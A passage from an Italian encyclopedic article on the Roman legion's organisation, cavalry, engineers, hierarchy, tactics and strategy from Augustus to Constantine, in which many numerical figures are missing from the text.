6 in Macedonia, 3 in Africa Proconsolare e 10 nelle province orientali.\nAl termine delle guerre civili tra Marco Antonio ed Ottaviano si contavano 60 legioni circa, pur se non a ranghi completi.\nEt\u00e0 alto imperiale.\nFanteria.\nDalla grande riforma augustea agli Antonini.\nLa \"spina dorsale\" dell'esercito romano rimase la legione, in numero di 28 (25 dopo Teutoburgo). Ogni legione era composta di circa cittadini, in prevalenza Italici (attorno al 65%, per lo pi\u00f9 provenienti dalla Gallia Cisalpina, rispetto a un 35% di provinciali, muniti anch'essi di cittadinanza romana), per un totale di circa uomini (e poi circa ), che si rinnovavano con una media di armati all'anno. L'ufficiale a capo della legione divenne ora un membro dell'ordine senatorio con il titolo \"legatus Augusti legionis\". Le legioni erano arruolate fra i circa di cittadini romani.\n\u00c8 con Ottaviano Augusto, in un periodo compreso tra il 30 a.C. e il 14 a.C., che la legione cambi\u00f2 struttura, aumentando i suoi effettivi fino almeno a soldati, essenzialmente fanti ma anche cavalieri (120 per legione, comandati da centurioni, non da decurioni), questi ultimi con funzioni di esplorazione, messaggeri o scorta del \"legatus legionis\". La cavalleria legionaria, abolita nell'epoca di Gaio Mario, fu reintrodotta in modo definitivo da Augusto. Si trattava per\u00f2 di una forza alquanto ridotta, i cui cavalieri erano dotati di uno scudo pi\u00f9 piccolo e rotondo (detto \"parma\" o \"clipeus\"), come ci racconta Giuseppe Flavio, al tempo della prima guerra giudaica. Potrebbe essere stata, infine, abolita da Traiano.\nLa fanteria legionaria era divisa in 10 coorti (di cui nove di 480 armati ciascuna), che al loro interno contavano 3 manipoli oppure 6 centurie. La riforma della prima coorte avvenne in un periodo imprecisato, sicuramente tra l'epoca di Augusto e quella dei Flavi. Si trattava di una coorte \"milliare\", vale a dire di dimensioni doppie rispetto alle altre nove coorti, con 5 centurie (non 6) di un numero doppio di armati (160 ciascuna), pari a 800 legionari complessivi, ed a cui era affidata l'aquila della legione.\nSempre ad Augusto si deve l'introduzione di un esercito di professionisti che rimanessero in servizio non meno di sedici anni per i legionari, portati a venti nel 5 (come era successo fin dai tempi di Polibio, in caso di massima crisi), e venti-venticinque per le truppe ausiliarie. A questo periodo di servizio poteva subentrarne uno ulteriore di alcuni anni tra le \"riserve\" di veterani, in numero di 500 per legione (sotto il comando di un \"curator veteranorum\").\nI successori di Augusto: da Tiberio a Commodo.\nTiberio dispose che l'acquartieramento delle legioni lungo il \"limes\" acquisisse le caratteristiche di una maggiore permanenza e stabilit\u00e0, tanto che i terrapieni, rinforzati con una palizzata in legno, diventassero sempre pi\u00f9 massicci, mentre gli alloggiamenti pi\u00f9 confortevoli, mentre in rari casi sembra che alcuni accampamenti legionari siano stati costruiti in pietra (come ad \"Argentoratae\" e \"Vindonissa\");\nAl tempo di Vespasiano sembra si attu\u00f2 la riforma della prima coorte, che secondo alcuni studiosi moderni potrebbe essere invece avvenuta all'epoca di Augusto. Si trattava di una coorte \"milliare\", vale a dire di dimensioni doppie rispetto alle altre nove coorti, con 5 manipoli (non quindi 6) di 160 armati ciascuno (pari a 800 legionari), a cui era affidata l'aquila della legione. Primo esempio di costruzioni che ospitassero una coorte di queste dimensioni lo si trova nella fortezza legionaria di Inchtuthill in Scozia.\nAl tempo delle guerre marcomanniche fu l'utilizzo da parte di Marco Aurelio di \"vexillationes\", al fine di comporre un esercito di invasione e poi di occupazione della neo-provincia di \"Marcomannia\", come testimoniano numerose iscrizioni, tra cui quella rinvenuta a \"Leugaricio\", delle legioni I \"Adiutrix\" e II \"Adiutrix\".\nComandi complementari interni alla legione.\nCavalleria legionaria (e ausiliaria).\nLa cavalleria legionaria, abolita nell'epoca di Gaio Mario, fu reintrodotta da Augusto. Si trattava per\u00f2 di una forza alquanto ridotta, composta di soli 120 cavalieri (comandati da centurioni, non da decurioni; dotati di uno scudo pi\u00f9 piccolo e rotondo, detto \"parma\" o \"clipeus\"), come ci racconta Giuseppe Flavio, al tempo della prima guerra giudaica.\nPotrebbe essere stata abolita, almeno per un breve periodo di tempo dall'imperatore Traiano, considerando che viene citata in un discorso del suo successore, Adriano. In questo periodo esistevano, infatti, numerosi reparti di cavalleria ausiliaria (formata da provinciali e alleati, i cosiddetti \"peregrini\"), quale degno completamento tattico e strategico alla fanteria legionaria (formata invece da cittadini romani).\nSi trattava di unit\u00e0 altamente specializzate, arruolate in aree territoriali di antiche tradizioni, come segue:\nGenio militare.\nIn et\u00e0 alto-imperiale venne riorganizzato anche il reparto di tecnici e ingegneri militari atti a rendere pi\u00f9 agevole il cammino delle armate romane durante le campagne militari o la loro permanenza negli alloggiamenti estivi (\"castra aestiva\") ed invernali (\"hiberna\"). E cos\u00ec se le strade romane potevano essere utilizzate per velocizzare lo schieramento degli eserciti durante le operazioni di \"polizia\" lungo i confini imperiali, alcuni tipi di ponti potevano essere montati e smontati velocemente senza l'utilizzo di chiodi: in questo modo i legionari, che trasportavano un equipaggiamento di circa 40 chili (comprendente anche un palo per la palizzata del campo) potevano percorrere nella marcia circa 24 chilometri al giorno (40 quando potevano viaggiare pi\u00f9 leggeri). In altri casi si provvedeva alla costruzione di strade in zone acquitrinose (\"pontes longi\"), come avvenne in Germania durante il periodo della sua occupazione (dal 12 a.C. al 9 d.C.).\nL'artiglieria romana comprendeva baliste (ogni legione ne aveva 55, servite ciascuna da 11 uomini), ossia grandi balestre montate su ruote, che grazie alla torsione delle loro corde lanciavano a pi\u00f9 di 500 metri distanza dardi di 3 cubiti (132 cm), che potevano essere anche incendiati. Insieme alle baliste c'erano anche gli \"scorpioni\", simili alle precedenti ma molto pi\u00f9 piccoli e maneggevoli. Insieme alle baliste venivano schierati anche gli onagri (catapulte chiamate cos\u00ec per il rinculo che producevano durante il lancio), che lanciavano massi ricoperti di pece, cui si appiccava il fuoco, creando vere \"bombe incendiarie\", con lo scopo di abbattere le difese nemiche, distruggendo mura ed edifici. L'artiglieria era naturalmente usata anche nelle battaglie campali. Tale uso fu fatto da Germanico nel 14 d.C. contro i Catti e nel 16 d.C. contro i Cherusci nell'assalto delle truppe romane contro un terrapieno difeso dai barbari.\nI genieri in forza alle legioni erano in grado di costruire e schierare potenti armi collettive, in funzione sia offensiva che difensiva, come catapulte, onagri (10 per legione, ovvero 1 per coorte), scorpioni e carrobaliste (55 per legione), con una funzione tattica analoga a quella della attuale artiglieria campale; inoltre vi erano altre macchine usate esclusivamente per l'assedio, come baliste, arieti, torri d'assedio, vinee.\nAddetti alle armi da lancio erano in primo luogo i \"ballistarii\", i quali grazie ad un'elevata specializzazione, appartenevano a quel gruppo di legionari privilegiati, chiamati \"immunes\". Erano alle dipendenze di un \"Magister ballistarius\" (attestato fin dal II secolo), che a sua volta era coadiuvato da un \"optio ballistariorum\" (attendente alla cura del comandante) ed un certo numero di \"doctores ballistariorum\" (sott-ufficiali).\nMa il genio della legione non assolveva soltanto a funzioni militari. Si conoscono addetti e veterani delle legioni che erano richiamati anche per incarichi civili nelle citt\u00e0 e servivano da collaboratori delle autorit\u00e0 provinciali. Si segnala il caso del veterano \"librator\" Nonio Dato che fu richiamato dal proconsole della Mauretania Cesariense come addetto alla supervisione per la costruzione dell'acquedotto della citt\u00e0 di \"Saldae\". Lo stesso Plinio in Bitinia ricevette la richiesta di selezionare dei tecnici della pi\u00f9 vicina legione per l'edificazione di un canale. Quest'impiego del personale tecnico specializzato delle legioni pot\u00e9 riguardare tutte le legioni e le province dell'impero. Spesso le stesse coorti assolvevano anche a compiti di polizia nelle citt\u00e0, come a Cartagine, dove ogni coorte della \"III Augusta \" si alternava periodicamente nel presidio della citt\u00e0.\nGerarchia interna.\nLe gerarchie di comando rimasero pressoch\u00e9 identiche a quelle dell'epoca di Gaio Mario e Gaio Giulio Cesare, anche se ora ogni coorte disponeva di un vessillifero, vestito con pelle di leone o d'orso, e che serviva per riconoscere le proprie insegne. Partendo dalla base troviamo:\nDisposizione tattica.\nIl modello ideale di disposizione tattica della legione in epoca alto-imperiale \u00e8 fornito dal racconto di Tacito della vittoria della Legio III Augusta, comandata dal proconsole Furio Camillo, su Tacfarinace nel 17 d.C.\nIn questo scontro il proconsole riun\u00ec tutte le truppe sotto il suo comando, comprese alcune unit\u00e0 ausiliarie, e mosse battaglia contro il ribelle numida, quest'ultimo supportato da unit\u00e0 maure. La legione fu schierata, non si sa in quante \"acies\" (se \"singula\", \"duplex\" o \"triplex\"), con le centurie (o i manipoli) al centro dello schieramento (10 coorti di 480 uomini l'una, per un totale di 60 centurie): la prima coorte disposta a partire da destra, in prima fila, e la cavalleria legionaria, i tribuni e il legato Camillo davanti al contingente di cavalleria legionaria collocata immediatamente dietro l'ultimo ordine delle coorti. A destra e a sinistra dei legionari \"le coorti leggere e due ali di cavalleria\". Immediatamente a sinistra e a destra la prima e la seconda coorte di ausiliari, composte ciascuna da 480 uomini, mentre alle parti estreme le due ali di cavalleria ausiliaria (probabilmente numidica), formata ciascuna da 500 cavalieri divisi in 16 \"turmae\".\nIn questo episodio appare evidente come la legione si reggesse, per quanto attiene alle forze di cavalleria, sull'esclusivo apporto di ausiliari e \"numeri\" alloctoni. Allo stesso modo si comprende come essa non fosse adatta alle schermaglie, alle scaramucce di confine e al presidio delle zone frontaliere, a motivo della sua struttura lenta e poco manovrabile. La sconfitta di Crasso a Carre rimane l'emblema delle debolezze di un esercito privo di forze mobili, esposto ai colpi di una cavalleria sfuggente e dedita alla tattica d'incalzo. La stessa cavalleria legionaria in servizio presso le legioni non aveva una funzione tattica sul campo, ma era utilizzata per compiti di ricognizione, di picchetto e avanscoperta. Si capisce quindi come le forze ausiliarie (fanteria e cavalleria leggere, tiratori) fossero componenti complementari e non alternative alle legioni; una campagna di conquista senza queste forze e senza l'apporto della loro cavalleria (organizzata in \"alae\" e \"cohortes equitatae\"), sarebbe stata altrimenti inattuabile.\nIl non uso delle staffe da parte dei romani non impediva del resto l'uso della cavalleria romana ausiliaria, pesante e leggera, come forza d'attacco. Tale cavalleria costituiva quindi anche un elemento d'urto e non solo una forza di ricognizione, compito cui era assegnato semmai, come gi\u00e0 detto, il piccolo contingente a cavallo della legione.\nModello strategico.\nRiordin\u00f2 l'intero sistema di difese dei confini imperiali, acquartierando in modo permanente legioni e \"auxilia\" in fortezze e forti lungo il \"limes\". Delle legioni sopravvissute alla guerra civile, 28 rimasero dopo Azio, e 25 dopo la disfatta di Teutoburgo, oltre ad un numero crescente di \"auxilia\". In totale vi erano circa 340\u00a0000 uomini, di cui 140\u00a0000 servivano nelle legioni.\nCaligola cre\u00f2 nel 39, due nuove legioni, per una campagna in Germania Magna, sulle orme di suo padre Germanico e di suo nonno Druso maggiore: XV \"Primigenia\" e la XXII \"Primigenia\";\nNerone cre\u00f2 una nuova legione nel 66-67, composta da italici tutti di statura molto elevata, a cui venne dato il nome di I \"Italica\", e che lo stesso Nerone ribattezz\u00f2 \u201c\"falange di Alessandro Magno\"\u201d, circostanza che denot\u00f2 le grandiose idee che si celavano nella sua mente. L'obiettivo della campagna militare consisteva nell'occupare le cosiddette \u201c\"porte del Caspio\"\u201d (passo di Darial), sottomettendo il popolo degli Albani e forse degli stessi sarmati Alani pi\u00f9 a nord.\nGalba port\u00f2 a termine l'arruolamento delle legioni I \"Adiutrix\" (i cui effettivi erano costituiti da uomini che avevano prestato servizio nelle flotte italiche di Miseno e Ravenna) e VII \"Gemina\".\nVespasiano, al termine della guerra civile e della rivolta dei Batavi, sciolse ben quattro legioni che avevano trascinato nel fango le proprie insegne macchiandosi di disonore (I \"Germanica\", IV \"Macedonica\", XV \"Primigenia\" e XVI \"Gallica\") e ne riform\u00f2 tre nuove (II \"Adiutrix Pia Fidelis\", IV \"Flavia Felix\", e XVI \"Flavia Firma\") dando la possibilit\u00e0 ad alcuni di fare pubblica ammenda. Il figlio Domiziano creava una nuova legione in vista delle campagne in Germania, nella regione degli \"agri decumates\": la I \"Minervia\".\nTraiano form\u00f2 due nuove legioni, la prima in vista della conquista della Dacia (la XXX \"Ulpia Victrix\", il cui numerale indicava che in quel momento vi erano esattamente 30 unit\u00e0 legionarie), la seconda prima delle campagne partiche (la II \"Traiana Fortis\"). Marco Aurelio, infine, form\u00f2 attorno al 165-166 due nuove legioni. Si trattava della II e III \"Italica\".\nDai Severi all'anarchia militare.\nStruttura della legione.\nRiforma di Settimio Severo.\nSettimio Severo avvi\u00f2 importanti riforme militari che toccarono numerosi aspetti dell'esercito romano e che costituirono le basi del successivo sistema fondato sugli imperatori militari del III secolo. Cre\u00f2 la prima forma di autocrazia militare, togliendo potere al Senato dopo aver messo a morte numerosi membri dello stesso. Sebbene la struttura base della legione continu\u00f2 ad essere quella della riforma augustea, il numero delle legioni venne aumentato di un 10% e portato a 33 (con la creazione delle legioni I, II e III Parthica). Egli favor\u00ec i legionari in svariati modi:\nRiforma di Gallieno.\nNon \u00e8 chiaro se sia stato l'imperatore Gallieno ad aumentare il contingente di cavalleria interno alla legione stessa, portandolo da soli 120 cavalieri a 726 (pari a 22 \"turmae\"), o i suoi successori, gli imperatori illirici, come una parte della storiografia moderna sembra sostenere. La verit\u00e0 \u00e8 che la nuova unit\u00e0 di cavalleria legionaria risultava divisa tra le dieci coorti legionarie, dove alla prima coorte erano affiancati 132 cavalieri (4 \"turmae\"), mentre alle altre nove 66 ciascuna (2 \"turmae\" per ciascune delle nove coorti). Questo incremento della cavalleria fu dovuto proprio alla necessit\u00e0 di avere un esercito sempre pi\u00f9 \"mobile\" e versatile nel corso del III secolo, come conseguenza delle continue invasioni, sia da parte dei barbari lungo i confini settentrionali, sia a causa della crescente minaccia orientale, dove alla dinastia dei Parti Arsacidi subentr\u00f2 (dal 224) quella dei Sasanidi, assai pi\u00f9 bellicosa e che intendeva replicare ai fasti dell'antico Impero achemenide.\nGallieno promosse il rafforzamento delle \"vexillationes equitum\", i reparti mobili a cavallo, in particolare svincolando la cavalleria dal controllo dei governatori provinciali e collocandola in alcuni centri strategici come \"Mediolanum\" (Milano). Promossa o meno da Gallieno, si assistette al consolidamento delle forze di uomini a cavallo, detti \"Equites promoti\" (con base nella gi\u00e0 citata Milano) formati da unit\u00e0 reclutate nell'Illirico (\"dalmatae\"), in Nord Africa (\"mauri\") e in aggiunta da forze d'\u00e9lite (\"scutarii\"), sempre svincolati dalla legione, non \u00e8 chiaro se preposte all'intervento come forza d'emergenza nel caso di invasione (\"riserva mobile\"). Queste forze insieme erano definite \"Equites illyriciani\" o \"vexillatio\". L'importanza di questa nuova organizzazione crebbe a tal punto che chi guidava queste unit\u00e0 di cavalleria poteva aspirare a ruoli di maggiore prestigio e addirittura a proclamarsi imperatore (si pensi a Claudio il Gotico e Aureliano). Con Gallieno, inoltre, si completava la fine delle responsabilit\u00e0 militari dell'ordine senatorio a tutto vantaggio dell'ordine equestre, procedimento iniziato sotto Settimio Severo e che port\u00f2 all'abolizione della figura del \"legatus Augusti pro praetore\" di rango pretorio. Con un editto infatti l'imperatore abrog\u00f2 l'accesso dei senatori alla legazione di legione.\nComandi complementari interni alla legione.\nCavalleria legionaria (e ausiliaria).\nLa cavalleria legionaria di questo periodo appare divisa ancora in \"turmae\" e guidata da decurioni. In battaglia, il decurione era affiancato dal \"draconarius\", portatore dell'insegna del \"draco\" (simbolo di nuova introduzione per le coorti e le unit\u00e0 di cavalleria, di derivazione dacico-sarmatica), e seguito da un \"calo\" (lo schiavo del decurione che montava il suo cavallo di riserva).\nPremesso ci\u00f2, al tempo di Alessandro Severo, aument\u00f2 il ricorso sempre pi\u00f9 frequente ad unit\u00e0 ausiliarie di arcieri montati (tra osroeni, palmireni ed emesiani), integrati nei \"numeri\" di cavalieri dalmati e mauri, operativi gi\u00e0 nel II secolo; oltre a cavalieri in particolar modo quelli corazzati (i cosiddetti \"catafrattari\", \"clibanarii\"), reclutati sia in Oriente, sia tra i Sarmati, ma anche di quelli \"leggeri\" provenienti dalla Mauretania.\nLe prime unit\u00e0 di catafratti erano state, infatti, create da Adriano. A partire da questo periodo si cominci\u00f2 a fare ricorso ad unit\u00e0 di \"contarii\", truppe armate di \"contus\", ad imitazione dello stile di combattimento aggressivo tipico di sarmati e iazigi, fondato sulla carica diretta. Gi\u00e0 all'inizio del 69 unit\u00e0 sarmatiche erano state assoldate per presidiare la frontiera in Mesia, anche se tali truppe erano sospettate di essere facilmente corruttibili. Una delle prime unit\u00e0 di \"contarii\" fu l\"'Ala I Ulpia contariorum militaria\", di stanza nella vicina Pannonia inferiore, costituita successivamente alla campagna dacica di Traiano. Questi cavalieri non avevano elmo o armatura, ma erano muniti solo di lancia.\nIl successore di Alessandro Severo, Massimino il Trace, promosse la barbarizzazione dell'esercito romano, essendo lo stesso Imperatore nato senza la cittadinanza romana, ed aument\u00f2 l'importanza della cavalleria di origine germanica e catafratta sarmatica, arruolata dopo aver battuto queste popolazioni durante le guerre del 235-238. L'aumento degli effettivi della cavalleria, non solo andava ad accentuare la caratteristica di maggior mobilit\u00e0 dell'esercito romano, costituendone una nuova \"riserva strategica\" interna (insieme alla \"legio II Parthica\", formata in precedenza da Settimio Severo), ma anche quella di tradursi in un esercito meno di \"confine o sbarramento\" che ne aveva caratterizzato il periodo precedente fin dai tempi di Adriano.\nQuesto processo di graduale incremento di reparti di cavalleria, potrebbe aver generato una maggiore \"mobilit\u00e0\" anche nella legione stessa, che culmin\u00f2 con la riforma di Gallieno. Di fatto la cavalleria andava a costituire una sorta di \"nuova riserva strategica\" collocata nelle retrovie, in aggiunta alla \"legio II Parthica\". L'esercito iniziava a tradursi in una forza meno stanziale, non pi\u00f9 puramente di \"confine o sbarramento\", come era stato per i due secoli precedenti, in cui era apparsa legata in prima istanza alle forze di fanteria e in misura ridotta a quelle montate.\nGenio militare.\nAd Alessandro Severo si deve un crescente utilizzo presso tutte le fortezze del \"limes\" di nuovi modelli di catapulte (\"ballistae\", \"onagri\" e \"scorpiones\"), al fine di tenere impegnato il nemico fino all'accorrere delle \"riserve strategiche\" (concetto iniziato con Settimio Severo, sviluppato da Gallieno, Diocleziano e Costantino I.\nGerarchia interna.\nCon Gallieno, che di fatto abol\u00ec le cariche senatoriali all'interno dell'esercito romano e, di conseguenza, anche all'interno della legione stessa (le cariche di \"tribunus laticlavius\" e \"legatus legionis\" scomparvero), la gerarchia sub\u00ec una parziale modifica almeno nella parte concernente l'alto comando. Ci\u00f2 potrebbe essere spiegato anche tenendo conto del fatto che il ceto senatorio era ormai disabituato a ricoprire responsabilit\u00e0 militari e appariva sguarnito delle competenze idonee a condurre gli eserciti. Questo punto della riforma, per\u00f2, elimin\u00f2 definitivamente ogni legame tra le legioni e l'Italia, poich\u00e9 i nuovi comandanti, che erano spesso militari di carriera partiti dai gradi pi\u00f9 bassi e arrivati a quelli pi\u00f9 alti, erano interessati solo al proprio tornaconto o al massimo agli interessi della provincia d'origine, ma non a Roma. Il resto del corpo di truppa, degli ufficiali e sotto-ufficiali rimase pressoch\u00e9 invariato:\nDisposizione tattica.\nAd Alessandro Severo risalirebbe un'importante modifica tattica, come il ritorno allo schieramento falangitico di pi\u00f9 legioni contemporaneamente, fino a costituire una massa d'urto di 6 legioni complessive (per un totale di armati), fianco a fianco, senza alcun intervallo tra loro.\nModello strategico.\nSotto Settimio Severo venne aumentato il numero delle legioni romane a 33, con la costituzione di ben tre unit\u00e0, in vista delle campagne partiche: la legio I, II e III \"Parthica\". Venne posta una legione di riserva in prossimit\u00e0 di Roma, nei Castra Albana, dove fu alloggiata la II \"Parthica\". L'esercito ora poteva contare su armati complessivamente. Un numero comunque esiguo se si pensa che dovevano presidiare circa chilometri di confine, controllare e difendere i 70 milioni di abitanti dell'Impero e che per raggiungere il confine dall'Italia occorrevano mediamente 2 mesi di marcia.\nAi tempi di Aureliano le legioni scesero a 31, per un totale di legionari, affiancati probabilmente da un'altra met\u00e0 di ausiliari, certamente maggiore in alcune province, per un esercito complessivamente composto da uomini, di molto inferiore a quello di settant'anni prima a causa dell'incidenza delle guerre civili, delle numerose sconfitte e delle difficolt\u00e0 di reclutamento. Il ricorso alle vessillazioni si era fatto sempre pi\u00f9 frequente.\nTardo impero.\nDalla riforma di Diocleziano al consolidamento del potere costantiniano (285-324).\nLa vera grande riforma militare di Diocleziano fu soprattutto di tipo politico. Il nuovo imperatore dispose, prima di tutto, una divisione del sommo potere imperiale, dapprima attraverso una diarchia (due \"Augusti\", a partire dal 285/286) e poi tramite una tetrarchia (nel 293, tramite l'aggiunta di due \"Cesari\"), compiendo cos\u00ec una prima vera \"rivoluzione\" sull'intera struttura organizzativa dell'esercito romano dai tempi di Augusto.\nQuesta forma di governo a quattro, se da un lato non fu cos\u00ec felice nella trasmissione dei poteri (vedi successiva guerra civile), ebbe tuttavia il grande merito di fronteggiare con tempestivit\u00e0 i pericoli esterni al mondo romano.. La presenza di due Augusti e due Cesari facilitava, infatti, la rapidit\u00e0 dell'intervento armato e riduceva i pericoli che la prolungata assenza di un unico sovrano poteva arrecare alla stabilit\u00e0 dell'Impero.\nDiocleziano cre\u00f2 una vera e propria gerarchia militare sin dalle pi\u00f9 alte cariche statali, quelle dei \"quattro\" Imperatori, dove il pi\u00f9 alto in grado era l\"Augusto\" \"Iovio\" (protetto da Giove), assistito da un secondo \"Augusto\" \"Herculio\" (protetto da un semidio, Ercole), a cui si aggiungevano i due rispettivi \"Cesari\", ovvero i \"successori designati\".\nIn sostanza si trattava di un sistema politico-militare che permetteva di dividere meglio i compiti di difesa del confine: ogni tetrarca, infatti, curava un singolo settore strategico e la sua sede amministrativa era il pi\u00f9 possibile vicino alle frontiere che doveva controllare (\"Augusta Treverorum\" e \"Mediolanum\"-\"Aquileia\" in Occidente; \"Sirmium\" e \"Nicomedia\" in Oriente), in questo modo era possibile stroncare rapidamente i tentativi di incursione dei barbari, evitando che diventassero catastrofiche invasioni come quelle che si erano verificate nel III secolo.\nDiocleziano riorganizz\u00f2 l'esercito, trasformando la \"riserva mobile\" introdotta da Gallieno (formata di sola cavalleria) in un vero e proprio \"esercito mobile\" detto \"comitatus\", distinto dalle forze poste ai confini, probabilmente costituito da due \"vexillationes\" (\"Promoti\" e \"Comites\") e da tre \"legiones\" (\"Herculiani\", \"Ioviani\" e \"Lanciarii\").\nStruttura della legione.\nNon sembra vi fossero particolari cambiamenti interni alla struttura della legione. Ci\u00f2 che cominci\u00f2, invece, a delinearsi con maggiore frequenza, fu il costante invio di \"vexillationes\" (di - legionari) da parte della \"legione madre\" (attraverso la suddivisione di unit\u00e0 pi\u00f9 antiche) che, sempre pi\u00f9 spesso, non fecero pi\u00f9 ritorno. La legione per\u00f2 rimaneva ancora legata al territorio, alla provincia di appartenenza, anche se essa and\u00f2 perdendo di consistenza, passando dai circa componenti dell'et\u00e0 alto-imperiale, ai dell'et\u00e0 dioclezianea e ai di quella valentiniana. I principali motivi furono determinati dalle situazioni contingenti del momento:\nComandi complementari interni alla legione.\nCavalleria.\nDiocleziano comprese quale importanza ora rivestissero le forze di cavalleria. Egli, infatti, trasform\u00f2 la \"riserva strategica mobile\" introdotta da Gallieno (di sola cavalleria) in un vero e proprio \"esercito mobile\" detto \"comitatus\", nettamente distinto da un \"esercito di confine\". Qui nel \"comitatus\", costituito da due \"vexillationes\" di cavalleria (tra \"Promoti\" e \"Comites\"), e tre \"legiones\" (\"Herculiani\", \"Ioviani\" e \"Lanciarii\"), ebbero ancora grande importanza le forze di cavalleria (\"vexillationes\"), che, ricordiamo, al tempo di Gallieno ne costituirono l'intera \"riserva strategica mobile\".\nGerarchia interna.\nNon sembra vi furono sostanziali modifiche riguardo alla gerarchia interna delle legioni, rispetto all'epoca di Gallieno.\nDisposizione tattica.\nLo \"Strategikon\", prontuario di guerra attribuito all'imperatore bizantino Maurizio, metteva in guardia dal comporre una formazione da battaglia con meno di quattro ordini. Dunque, \u00e8 probabile che in quest'epoca prevalessero formazioni, di assetto prettamente difensivo, date dalla sovrapposizione di pi\u00f9 ordini, che potevano anche arrivare a sedici. Arriano riferisce invece la disposizione in otto ordini: i primi quattro composti da uomini armati di \"hasta\"; tra questi gli uomini assegnati al primo rango protendevano in avanti le aste, alla maniera della falange, mentre nel secondo, terzo e quarto rango i compagni nelle retrovie si apprestavano a mettere mano alle armi da lancio (dardi e giavellotti), e una volta scagliate, riprendevano in mano le lunghe lance e le spade per farsi sotto il nemico. I successivi quattro ordini invece dovevano essere armati di \"lancea\" (sempre giavellotti), con cui bersagliare il nemico. Un nono ordine era formato da numeri di arcieri barbari.\nVegezio inoltre prescriveva che tra un soldato e l'altro nella fila successiva ci fossero sei piedi (1,77 m) di distanza (un soldato occupava 3 piedi di spazio, corrispondenti a 88\u00a0cm). Si ritiene che nell'avvicinamento al nemico le truppe serrassero i ranghi, mediante l'avvicinamento, a partire dalla retroguardia, delle file precedenti a quelle successive, per evitare che qualcuno nel mezzo, come allerta l'autore dello \"Strategikon\", fermasse la marcia o si provocassero sfasamenti nella linea di schieramento.\nIl ruolo tattico della cavalleria sembra essere rimasto sostanzialmente subalterno alla fanteria. Essa appare pi\u00f9 che altro destinata a ruoli di schermaglia e \"di contrappeso\" con la cavalleria nemica, incaricata di svolgere missioni esplorative e azioni di disturbo, ma mai, se non in rari casi, di condurre attacchi risolutivi. Asclepiodoto informa (nel I secolo a.C. per\u00f2) che la cavalleria poteva assumere varie formazioni: quadrate, a losanga, allungate, a cuneo. Occorreva per\u00f2 che non fosse sviluppata molto in profondit\u00e0 per evitare di creare il panico tra i cavalli nel caso in cui questi si sovrapponessero gli uni agli altri in una formazione troppo affastellata.\nModello strategico.\nLo sfondamento ripetuto di tutte le frontiere romane, eredit\u00e0 della crisi del III secolo, costrinse Diocleziano a creare un modello di difesa che moltiplicasse il normale ed unico comando imperiale in uno formato ora da quattro imperatori: la tetrarchia. Ci\u00f2 determin\u00f2, di conseguenza, la necessit\u00e0 di creare nuove e numerose legioni da porre lungo i confini imperiali. Questa necessit\u00e0 strategica di difesa del \"limes\", port\u00f2 inevitabilmente ad un incremento del fabbisogno finanziario statale per mantenere le armate che ormai sembra raggiungessero i / uomini. Si rese cos\u00ec necessaria un'ulteriore tassazione del cittadino romano e una miglior distribuzione della circolazione monetaria per meglio rifornire le truppe alloggiate e distribuite a guardia dei confini provinciali.\nDall'ascesa di Costantino alla morte di Valente (324-378).\nUna volta divenuto unico \"augusto\", subito dopo la sconfitta definitiva di Licinio nel 324, Costantino I avvi\u00f2 una nuova riforma dell'esercito romano. Il percorso che egli comp\u00ec, fu per\u00f2 graduale nel corso degli ultimi tredici anni di regno (dal 324 al 337, anno della sua morte), continuando poi con i suoi figli. Suddivise, prima di tutto, l'\"esercito mobile\" in \"centrale\" (unit\u00e0 \"palatinae\") e \"periferico\" (unit\u00e0 \"comitatenses\"), contemporaneamente rovesci\u00f2 l'assetto complessivo dell'apparato bellico romano tetrarchico, continuando ad espandere la componente mobile, a vantaggio di quella di frontiera.\nIn genere le unit\u00e0 \"palatinae\" costituivano l'esercito dedicato a un'intera prefettura del Pretorio, mentre le unit\u00e0 \"comitatenses\" costituivano l'esercito dedicato a una singola diocesi nell'ambito della prefettura. Analogamente confer\u00ec all'\"esercito di confine\" una connotazione pi\u00f9 peculiare: le unit\u00e0 che lo costituivano furono definite \"limitanee\" (stanziate lungo i \"limes\") e \"riparienses\" (operanti lungo i fiumi Reno e Danubio) (in epoca teodosiana alcune di esse furono rinominate \"pseudocomitatenses\" quando trasferite nell'\"esercito mobile\").\nIn sintesi si pu\u00f2 cos\u00ec riassumere la nuova organizzazione delle unit\u00e0 militari, classificandola in tre differenti tipologie, ognuna delle quali era a sua volta divisibile in sotto-unit\u00e0, come segue:\nIn aggiunta, va precisato che si rese necessario un crescente reclutamento obbligatorio dei barbari (chiamati \"laeti\"), gi\u00e0 inquadrati nei numeri sin dall'epoca di Marco Aurelio, stanziati all'interno dell'Impero con l'obbiettivo di ripopolare alcuni territori abbandonati o falcidiati dalle pestilenze. In virt\u00f9 dell'ereditariet\u00e0 dei mestieri decisa da Diocleziano, si impose ai figli di ex militari la ferma obbligatoria, anche se per\u00f2 questi godevano di privilegi dovuti alla carriera dei propri padri. Con il passare dei secoli l'ingresso nell'impero di gruppi barbari fu visto come l'occasione per acquisire nuove reclute. L'esercito, quindi, svolse un grande ruolo nella romanizzazione dei barbari (costituendo praticamente l'unico modo per conquistare un ruolo sociale di rilievo), garantendo un'integrazione talmente forte da consentire di intraprendere la stessa carriera dei colleghi romani. La politica di integrazione perseguita tra il III e il IV secolo rese inutile a partire dal regno di Costantino I un documento che concedesse formalmente la cittadinanza ai veterani barbari poich\u00e9 questi si erano gi\u00e0 integrati e romanizzati.\nStruttura della legione.\nA partire dalla seconda parte del regno di Costantino (dopo la vittoria su Licinio del 324), molte delle legioni tradizionali (composte da / armati) cominciarono, in modo assai pi\u00f9 evidente, a inviare loro \"vexillationes\" in forti/fortezze di nuova costruzione, o in citt\u00e0/borghi, perdendo la loro abituale numerazione, ma soprattutto non facendo pi\u00f9 ritorno alla sede principale della \"legione madre\". Alcuni studiosi hanno creduto che ci\u00f2 andasse ad aumentare considerevolmente il numero delle legioni, in realt\u00e0 molte di queste legioni erano semplici \"distaccamenti legionari\" (ad esempio gli \"Ioviani\" dalla legio I Iovia, i \"Septimiani\" dalla legio VII Claudia, ecc.) formati ora da 800/ armati, prelevati dalla \"legione madre\" (di armati), che andava cos\u00ec in modo definitivo a ridurre i propri effettivi. Contemporaneamente questi distaccamenti, chiamati in epoca alto imperiale \"vexillationes\", divennero essi stessi delle unit\u00e0 indipendenti legionarie. \u00c8 vero anche che se buona parte di queste legioni \"nacquero\" da questo scorporo, altre furono create ex novo, da reparti specifici dell'esercito romano (ad esempio i \"Ballistari\", quali reparti di artiglieria) o da vecchie unit\u00e0 ausiliarie (ad esempio i \"Germaniciani\"). Sulla base di quanto \u00e8 stato esposto poco sopra vi erano quattro tipologie di 